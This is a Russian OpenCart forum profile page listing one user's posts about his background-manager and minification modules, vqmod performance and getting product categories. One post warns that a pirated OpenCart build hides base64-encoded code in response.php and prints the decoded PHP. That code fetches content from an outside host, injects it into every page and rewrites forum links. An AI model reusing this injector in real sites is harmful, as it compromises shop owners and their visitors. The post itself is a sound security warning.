Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

halfhope

Users
  
  • Posts

    1,750
  • Joined

  • Last visited

Everything posted by halfhope

  1. Как известно (un)serialize медленнее json_encode(decode) почему бы не использовать json в OpenCart? Я понимаю, конечно, это экономия на спичках. Я вижу только одну причину в пользу (un)serialize, в отличии от json он может сериализовать классы. Но в OpenCart такого, к счастью, нет. У меня не возникло проблем при переходе на json. Есть аргументы? Буду раз услышать разные точки зрения.
  2. Только что вышло обновление безопасности (версия 2.1.1). Для того, чтобы применить обновление просто скопируйте (с заменой) все файлы. Что уже готово для версии 3.0: Live создание/редактирование шаблона (60/40) (Поля "Ссылка" (50/50), "JavaScript код", "Дополнительные изображения" в этом режиме будут недоступны, для их редактирования будет необходимо перейти в административную панель) (Готово на 50% подробности в сообщении ниже) Будет убран "Отступ контейнера" (Готово) Будут объединены "Стиль тени" и "Дополнительный CSS код" (Готово) Будет добавлено поле для JS кода, которое будет вставлять JavaScript код в страницу (как файл/текстом). (Готово) Галерея тайлинг-текстур и фонов (не шаблонов) (60/40). (отложено) Будет убран основной раздел модуля, где перечисляются другие разделы модуля. (Готово) Будет добавлена экспериментальная функция - назначать шаблон для товаров на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля) (этот модуль будет поставляться отдельно, как дополнение к основному модулю) (Готово) Теперь доступны "глобальные переменные". Например, [container_id] содержит ID контейнера, который был указан в настройках. [img1] содержит путь к изображению 1. Эти переменные можно использовать в полях "CSS код", "JS код", "Fix_code(в настройках)". (Готово) Добавлены дополнительные изображения к каждому шаблону (дополнительные изображения так же доступны в виде переменных) (Готово) В связи с добавлением глобальных переменных будет создана галерея сниппетов, к которой будут храниться готовые шаблоны скриптов и стилей для создания анимаций и доп спец. эффектов. (P.S. все-таки нашел разумный способ добавлять анимацию) (отложено) Скриншот: Страница редактирования шаблона http://halfhope.ru/tmp/background_manager_v3.0.png (Доп модуль) Выбор шаблона для товара http://halfhope.ru/tmp/20.34.30_18.02.2014.png Live редактирование шаблона http://halfhope.ru/tmp/live editor.png Демо можно посмотреть здесь: http://oc.halfhope.ru/
  3. Ищите в папках "admin/language/russian/mail/" либо "catalog/language/russian/account/"
  4. Для версии 2.1 планировалось сделать галерею шаблонов, но она не была реализована ввиду своей неактуальности. В следующей версии, возможно, появятся: Live создание/редактирование шаблона (60/40) Будет убран "Отступ контейнера" Будут объединены "Стиль тени" и "Дополнительный CSS код" Будет добавлено поле для JS кода. Галерея тайлинг-текстур и фонов (не шаблонов) (60/40). Будет убран основной раздел модуля, где перечисляются другие разделы модуля. Будет добавлена экспериментальная функция - назначать шаблон для товаров на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля) Предлагайте свои идеи, они все они будут рассмотрены.
  5. Если Вы имеете ввиду фон для каждой категории отдельно, то да. Фон можно назначить на любую категорию.
  6. Доброго времени суток. Клиенты часто обращаются с просьбой сделать их сайт быстрее. Во многих случаях мне удается это сделать. Но в других профилирование показывает что причиной всему является vqmod, функция modCheck(). После отключения лога в vqmod, как описано в http://www.gutsite.ru/gutinfo/43-uskorenie-opencart (для старых версий), становится немного быстрее, совсем немного. Я так понял, что функция modCheck вызывается при каждом посещении сайта, проверяет файлы модификаций и файлы opencart на дату последнего изменения, если что-то отличается, то вносит изменения и сохраняет в кэш. Вопрос: Кто-нибудь пробовал отключить проверку, чтобы файлы сразу загружались из кэша? ala чтобы можно было вручную обновлять кэш? Самым оптимальным выходом из данной ситуации является отказ от использования vqmod.
  7. Список файлов исключенных из обработки - файлы, которые не будут минимизироваться и объединяться. Список файлов исключенных из объединения - файлы, которые будут минимизироваться, но не будут объединяться.
  8. Если какой-то JS скрипт перестает работать, как например "catalog/view/javascript/jquery/jquery.jcarousel.min.js", Добавьте его в "Список файлов исключенных из объединения" или "Список файлов исключенных из минимизации" и сохраните настройки. Какой именно скрипт перестал работать можно в консоли браузера. Еще, как вариант в опции "Режим объединения" можете поставить "Объединять группой в папках". Прим. Если у Вас в качестве JavaScript минимизатора стоит GoogleClousureCompiler. У него есть ограничение на количество подключений в час на один IP адрес, я постарался увеличить лимит, но все же иногда бывают случаи когда клиенты превышают лимит. Так что если какой-то модуль сайта перестанет отображаться и в генерированном файле скриптов появится "Too many connections (22)", то отключите минимизацию JS на час, удалите этот файл, а потом снова включите.
  9. Предоставьте, пожалуйста, доступы к ftp и административной панели (В ЛС, либо на [email protected]). Если политика безопасности магазина не разрешает этого делать, то работа будет идти гораздо медленнее.
  10. Смотря что за тип CDN. MCj поддерживает только domain CDN это грубо говоря зеркала Вашего сайта. Как, например, http://halfhope.ru/ и http://dotgrid74.ru/. Это сделано для того, чтобы обойти ограничение количества одновременных подключений к одному домену. Если Вы будете подключать его к платному cdn, то скорее всего это CDN Proxy. Это прокси сервер, который будет "лицом" Вашего сайта. Т.е. браузер посетителя будет получать данные от сети прокси-серверов, а эта сеть уже от Вашего сайта. К этому типу CDN MCJ отношения не имеет. UPD. Да, подключать пробовал у самого блог к cloudflare подключен.
  11. Все-таки не получается. if (isset($this->request->get['path'])) { $path = explode('_', $this->request->get['path']);}else{ $path = $this->model_background_manager->getProductCategories($this->request->get['product_id']);}$category_id = end($path); Не работает в ocStore. Если у товара две категории или более то всегда получает только id главной категории товара.
  12. Сам сказал - сам ответил. Выдернул код из контроллера страницы добавления/редактирования продукта, в админке. $this->model_catalog_product->getProductCategories($this->request->get['product_id']) Возвращает массив категорий, в которых есть этот продукт. Работает только в админке, потому как в модели "catalog/product" админки есть функция "getProductCategories($product_id)", а в модели каталога её нет. Вот эта функция: public function getProductCategories($product_id) { $product_category_data = array(); $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'"); foreach ($query->rows as $result) { $product_category_data[] = $result['category_id']; } return $product_category_data; }
  13. Не знаю как узнать id категории на странице товара стандартными средствами OpenCart. Причем, я так понял, что товар может быть в разных категориях. Можно ли узнать это стандартными средствами?
  14. Да, в процессе. Знаю, что не укладываюсь в срок (на 12 дней), но поверьте это будет стоить того. Анимации фона не будет!!! Уже есть предпросмотр и много полезного. Скоро отчитаюсь и предоставлю демо.
  15. Письмо следующего содержания: В этой сборке файл "system/library/response.php" содержит закодированный base64 код: Код не видно если в редакторе кода, которым Вы пользуетесь, текст выходит за рамки окна (WordWrap). После декодирования кода получаем: function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $errorpage = '</body></html>'; $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return $errorpage; break; case '502'; return $errorpage; break; } } if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; } Просьба быть бдительным.
  16. Хммм, всегда думал, что страница выводится, а код ошибки сервер не присылает. Поэтому в .htaccess или конфигах nginx прописывал пути к кастомным страницам ошибок.
  17. В OpenCart не предусмотрены коды ошибок( Да, вы правильно понимаете. Вам нужно в headers ответа от сервера добавить код ошибки.
  18. Может кто-нибудь встречал модули, в которых такой функционал используется? Или у кого-нибудь свои наработки есть? Либо подскажите в какую сторону копать.
  19. На этой неделе постараюсь представить такой магазин. "До покупки" это без модуля. В общем, mcj старается снизить общую нагрузку на сервер, Через вставку изображений в css, объединение и минимизацию файлов, оптимизацию БД, и рекомендаций по .htaccess и прочих фишек с сервером. Для сжатия JavaScript нет идеального инструмента сжатия. Для этого я и добавляю различные настройки, которые помогут это компенсировать. Для этого достаточно включить JQueryCDN, и добавить скрипт, в котором происходит ошибка в "список файлов исключенных из объединения". Так же в версии 1.3 добавлено новое поле "стили / скрипты которые необходимо оставить на своих местах в коде страницы". Это позволит оставить "позиционные" скрипты, стили на своих местах. Например стиль, который находится в конце страницы и должен перекрывать все основные стили.
  20. Следующее плановое обновление модуля через 48 дней. В следующей версии: Более удобное управление дополнением(админка). Предпросмотр создаваемого шаблона. Смена фона с анимацией (50/50).
  21. https://opencartforum.com/files/file/1368-%D0%BC%D0%B5%D0%BD%D0%B5%D0%B4%D0%B6%D0%B5%D1%80-%D1%84%D0%BE%D0%BD%D0%BE%D0%B2%D1%8B%D1%85-%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9-vqmod/
×
×
  • Create New...

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.